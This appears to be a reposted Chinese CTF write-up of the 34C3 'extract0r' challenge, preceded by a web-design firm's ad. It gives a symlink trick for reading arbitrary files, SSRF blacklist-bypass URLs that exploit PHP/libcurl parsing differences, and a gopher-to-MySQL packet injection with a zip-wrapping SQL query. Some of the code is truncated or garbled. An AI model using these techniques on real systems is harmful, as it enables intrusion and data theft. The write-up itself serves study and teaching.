這篇文章給大家介紹Gopher是怎樣攻擊MySQL,內(nèi)容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
公司主營業(yè)務:網(wǎng)站制作、網(wǎng)站設計、移動網(wǎng)站開發(fā)等業(yè)務。幫助企業(yè)客戶真正實現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。成都創(chuàng)新互聯(lián)公司是一支青春激揚、勤奮敬業(yè)、活力青春激揚、勤奮敬業(yè)、活力澎湃、和諧高效的團隊。公司秉承以“開放、自由、嚴謹、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領域給我們帶來的挑戰(zhàn),讓我們激情的團隊有機會用頭腦與智慧不斷的給客戶帶來驚喜。成都創(chuàng)新互聯(lián)公司推出宜興免費做網(wǎng)站回饋大家。
34c3CTF web中的extract0r。
題中的目是一個安全解壓服務,用戶輸入zip的url地址,程序?qū)rl進行合法性校驗后會下載該zip,然后為用戶創(chuàng)建一個目錄,把文件解壓進去
經(jīng)過測試,發(fā)現(xiàn)輸入的域名中不能含有數(shù)字,并且壓縮文件中不能含有目錄,解壓后的目錄不解析php。通過上傳一個含有符號鏈接文件的壓縮包,可以達到任意文件讀取的效果。
ln -s ../index.php test_link 7za a -t7z -r test.7z test
上傳后訪問test_link
得到源代碼
1024*10) { return "Archive's total uncompressed size exceeds 10KB"; } if ($file_cnt === 0) { return "Archive is empty"; } if ($file_cnt > 5) { return "Archive contains more than 5 files"; } return 0; } function verify_extracted($directory) { //遍歷解壓后的目錄下的所有文件 $files = glob($directory . '/*'); $cntr = 0; foreach($files as $file) { if (!is_file($file)) { //如果不是文件就刪除 $cntr++; unlink($file); @rmdir($file); } } return $cntr; } function decompress($s) { $directory = get_directory(true); $archive = tempnam("/tmp/", "archive_"); file_put_contents($archive, $s); $error = verify_archive($archive); if ($error) { unlink($archive); error($error); } shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y"); unlink($archive); return verify_extracted($directory); } function error($s) { clear_directory(); die("ERROR
" . htmlspecialchars($s)); } $msg = ""; if (isset($_GET["url"])) { $page = get_contents($_GET["url"]); if (strlen($page) === 0) { error("0 bytes fetched. Looks like your file is empty."); } else { $deleted_dirs = decompress($page); $msg = "Done!
Your files were extracted if you provided a valid archive."; if ($deleted_dirs > 0) { $msg .= "WARNING:
we have deleted some folders from your archive for security reasons with our cyber-enabled filtering system!"; } } } ?>
> (32-$mask)) << (32-$mask)); } function get_port($url_parts) { if (array_key_exists("port", $url_parts)) { return $url_parts["port"]; } else if (array_key_exists("scheme", $url_parts)) { return $url_parts["scheme"] === "https" ? 443 : 80; } else { return 80; } } function clean_parts($parts) { // oranges are not welcome here $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/"; if (array_key_exists("scheme", $parts)) { $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]); } if (array_key_exists("user", $parts)) { $parts["user"] = preg_replace($blacklisted, "", $parts["user"]); } if (array_key_exists("pass", $parts)) { $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]); } if (array_key_exists("host", $parts)) { $parts["host"] = preg_replace($blacklisted, "", $parts["host"]); } return $parts; } function rebuild_url($parts) { $url = ""; $url .= $parts["scheme"] . "://"; $url .= !empty($parts["user"]) ? $parts["user"] : ""; $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : ""; $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : ""; $url .= $parts["host"]; $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : ""; $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : ""; $url .= !empty($parts["query"]) ? "?" . $parts["query"] : ""; $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : ""; return $url; } function get_contents($url) { $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8", "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24", "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ]; for ($i = 0; $i < 5; $i++) { $url_parts = clean_parts(parse_url($url)); if (!$url_parts) { error("Couldn't parse your url!"); } if (!array_key_exists("scheme", $url_parts)) { error("There was no scheme in your url!"); } if (!array_key_exists("host", $url_parts)) { error("There was no host in your url!"); } $port = get_port($url_parts); $host = $url_parts["host"]; $ip = gethostbynamel($host)[0]; if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) { error("Couldn't resolve your host '{$host}' or the resolved ip '{$ip}' is blacklisted!"); } foreach ($disallowed_cidrs as $cidr) { if (in_cidr($cidr, $ip)) { error("That IP is in a blacklisted range ({$cidr})!"); } } // all good, rebuild url now $url = rebuild_url($url_parts); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_MAXREDIRS, 0); curl_setopt($curl, CURLOPT_TIMEOUT, 3); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0); curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一條緩存,防止DNS rebinding curl_setopt($curl, CURLOPT_PORT, $port); $data = curl_exec($curl); if (curl_error($curl)) { error(curl_error($curl)); } $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status >= 301 and $status <= 308) { $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL); } else { return $data; } } error("More than 5 redirects!"); }
簡要分析代碼流程
經(jīng)rebirth提醒,可以使用以.開頭的文件來繞過verify_extracted
中對鏈接目錄的檢測。ln -s / .a
把.a
打包上傳即可。這里是因為glob($dir . '/*');
*遍歷不到以.開頭的文件。故繞過了對文件類型的檢測,成功了鏈接到了根目錄。
翻一翻目錄會發(fā)現(xiàn):/home/extract0r/create_a_backup_of_my_supersecret_flag.sh
這里創(chuàng)建了一個空密碼的mysql用戶,并且flag就在數(shù)據(jù)庫中。之前已經(jīng)有利用gopher協(xié)議攻擊redis、fastcgi等的案例。我們可以試著利用gopher攻擊一下mysql。這里有兩個要點
繞過ip檢查,實現(xiàn)ssrf
研究mysql協(xié)議,構(gòu)造payload
通過代碼邏輯我們可知
url->php parse_url(過濾ip)->過濾url各部分(空白字符和數(shù)字)->curl發(fā)送請求
這里可利用parse_url
和libcurl
對url解析的差異來繞過。經(jīng)過測試,得出以下結(jié)論(我本地環(huán)境php 7.0.20-2 libcurl/7.52.1
)
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment] 這里僅討論url中不含'?'的情況 php parse_url: host: 匹配最后一個@后面符合格式的host libcurl: host:匹配第一個@后面符合格式的host 如: http://u:p@a.com:80@b.com/ php解析結(jié)果: schema: http host: b.com user: u pass: p@a.com:80 libcurl解析結(jié)果: schema: http host: a.com user: u pass: p port: 80 后面的@b.com/會被忽略掉
那么我們可以構(gòu)造出一個域名,讓php解析出來的host是a.com,dns解析后ip不在黑名單,這樣就繞過了黑名單檢查。而libcurl實際請求時候是另外一個域名,這樣我們就可以實現(xiàn)任意ip請求了。
fuzz一下后得到以下結(jié)果
http://u:p:@a.com:3306@b.com/
http://u:@a.com:3306@b.com/
都可以實現(xiàn)php解析出來是b.com 而curl實際請求a.com:3306
但此題目中php解析url后在clean_parts
中過濾了空白字符和數(shù)字,所以以上url均不可用。
題目作者給出的url是:gopher://foo@[cafebabe.cf]@yolo.com:3306
剛開始不太理解,后來@rebirth告訴我在rfc3986是這樣定義url的:
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture ) "]"
也就是說[ip]是一種host的形式,libcurl在解析時候認為[]包裹的是host
另外ricter大佬的gopher://foo@localhost:f@ricterz.me:3306/
在題目環(huán)境中是可用的,我本地不可用(題目的libcurl版本比我本地高)
研究的目的是為了構(gòu)造出gopher連接mysql的payload,mysql協(xié)議分為4.0之前和4.0之后兩個版本,這里僅討論4.0之后的協(xié)議,mysql交互過程:
MySQL數(shù)據(jù)庫用戶認證采用的是挑戰(zhàn)/應答的方式,服務器生成該挑戰(zhàn)數(shù)(scramble)并發(fā)送給客戶端,客戶端用挑戰(zhàn)數(shù)加密密碼后返回相應結(jié)果,然后服務器檢查是否與預期的結(jié)果相同,從而完成用戶認證的過程。
登錄時需要用服務器發(fā)來的scramble加密密碼,但是當數(shù)據(jù)庫用戶密碼為空時,加密后的密文也為空。client給server發(fā)的認證包就是相對固定的了。這樣就無需交互,可以通過gopher協(xié)議來發(fā)送。
mysql數(shù)據(jù)包前需要加一個四字節(jié)的包頭。前三個字節(jié)代表包的長度,第四個字節(jié)代表包序,在一次完整的請求/響應交互過程中,用于保證消息順序的正確,每次客戶端發(fā)起請求時,序號值都會從0開始計算。
具體到抓包數(shù)據(jù)
4C0000//包大小76 小端字節(jié)序 00//序號0 0A//版本號 352E372E31382D3100//版本信息字符串,以\0結(jié)尾,內(nèi)容為5.7.18-1 04000000//服務器線程id 6B69457B3C342E43//scramble前半部分8字節(jié) 00//固定0x00 FFF7//服務器權能標志低16位 用于與客戶端協(xié)商通訊方式 08//字符集,08代表utf-8 0200//服務器狀態(tài) FF81//服務器權能標志高16位 15//挑戰(zhàn)串長度 00000000000000000000//10字節(jié)0x00 固定填充 3A6A02314D2661447951577F00//scramble后半部分12字節(jié) 以null結(jié)尾 6D7973716C5F6E61746976655F70617373776F726400//密碼加密方式,內(nèi)容為mysql_native_password 對高版本來說沒什么用 無視即可
當用戶密碼為空時,認證包唯一的變量挑戰(zhàn)認證數(shù)據(jù)為0x00(NULL),所以認證包就是固定的了,不需要根據(jù)server發(fā)來的初始化包來計算了
這里順帶提一下密碼的算法為
hash2 = SHA1(password) //password是用戶輸入的密碼 result = hash2 ^ sha1(scramble+sha1(hash2))
命令報文相當簡單
第一個字節(jié)表示當前命令的類型,比如0x02(切換數(shù)據(jù)庫),0x03(SQL查詢)后面的參數(shù)就是要執(zhí)行的sql語句了。
經(jīng)過分析,執(zhí)行一句sql語句時,發(fā)送了兩個packet(認證packet、命令packet) ,那么我們把兩個packet一起發(fā)給server端,server就會響應給我們結(jié)果。 packet的構(gòu)造參見上文協(xié)議格式,需要注意的是mysql協(xié)議是小端字節(jié)序。
這里我用socket做一個簡單的測試,使用的是無密碼用戶,發(fā)送的sql語句是select now();
那么在php下,使用libcurl請求也是一樣的
php的payload最后加了四個空字節(jié),這是為了讓server端解析第三個數(shù)據(jù)包時出錯,斷開與我們的連接。盡快返回數(shù)據(jù),題目中curl的超時時間是3s
至此,我們完成了從gopher到sql執(zhí)行。反觀題目,這里需要curl得到的響應是可以被解壓的。所以我們需要想辦法把查出來的數(shù)據(jù)構(gòu)造成壓縮文件格式。
zip壓縮算法壓縮出來的文件一般包括四部分。
1.local file head 2.壓縮后的Deflate數(shù)據(jù) 3.central directory file head 4.end of central directory record
經(jīng)過測試,7z是可以成功解壓一個格式合法的壓縮文件的,即使是文件CRC錯誤,部分字段異常。
那么思路就來了,利用sql語句構(gòu)造查詢出zip的頭和尾部,把我們想要的數(shù)據(jù)concat到中間的Deflate部分即可。(7z解壓時候發(fā)現(xiàn)部分header異常,Deflate部分的數(shù)據(jù)會不經(jīng)解壓直接寫入到解壓后的文件)
形如 select concat(zip_header,(the sql we want to execute), zip_eof)
針對zip具體的構(gòu)造,不在贅述,參見zip算法詳解
這里我寫了一個函數(shù)幫助我們創(chuàng)建
from struct import * def create_zip(filename, content_size): content = '-'*content_size filename = pack('<%ds'%len(filename), filename) content_len_b = pack('需要注意的是,zip的Deflate部分是保存文件壓縮后的內(nèi)容,zip格式又要求必須給出Deflate部分的大小。這里我們只需把查出數(shù)據(jù)保存在Deflate部分,并且根據(jù)查詢結(jié)果的預期大小來指定Deflate部分的尺寸。
比如查詢
select version()
時候Deflate大小20就夠了。 這里給出一個sql大家可以自行測試select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';這里的1000就是Deflate數(shù)據(jù)部分占用大小。 至此我們也就完成了sql語句的構(gòu)造,可以通過sql查出一個壓縮包格式的數(shù)據(jù)。并且解壓后的文件內(nèi)容就是查詢結(jié)果。
那么梳理一下,先是通過符號鏈接,得到了一個沒有密碼的數(shù)據(jù)庫用戶。又通過
parse_url
和libcurl
的解析差異,繞過了對ip的合法性校驗,從而可以實現(xiàn)ssrf任意ip。又通過分析mysql協(xié)議,發(fā)現(xiàn)空密碼用戶可以直接構(gòu)造出packet執(zhí)行sql語句。最終我們只需要輸入gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(發(fā)送給mysql的packet)+(四個空字節(jié))
就可以得到結(jié)果。0x04 利用
為了方便,我寫了一個簡單的mysql client,測試與mysql 的通信并生成payload。
輸入后:
有興趣的可以連接自己的mysql,dump出packet
關于Gopher是怎樣攻擊MySql就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
文章標題:Gopher是怎樣攻擊MySql
本文網(wǎng)址:http://weahome.cn/article/jjeogh.html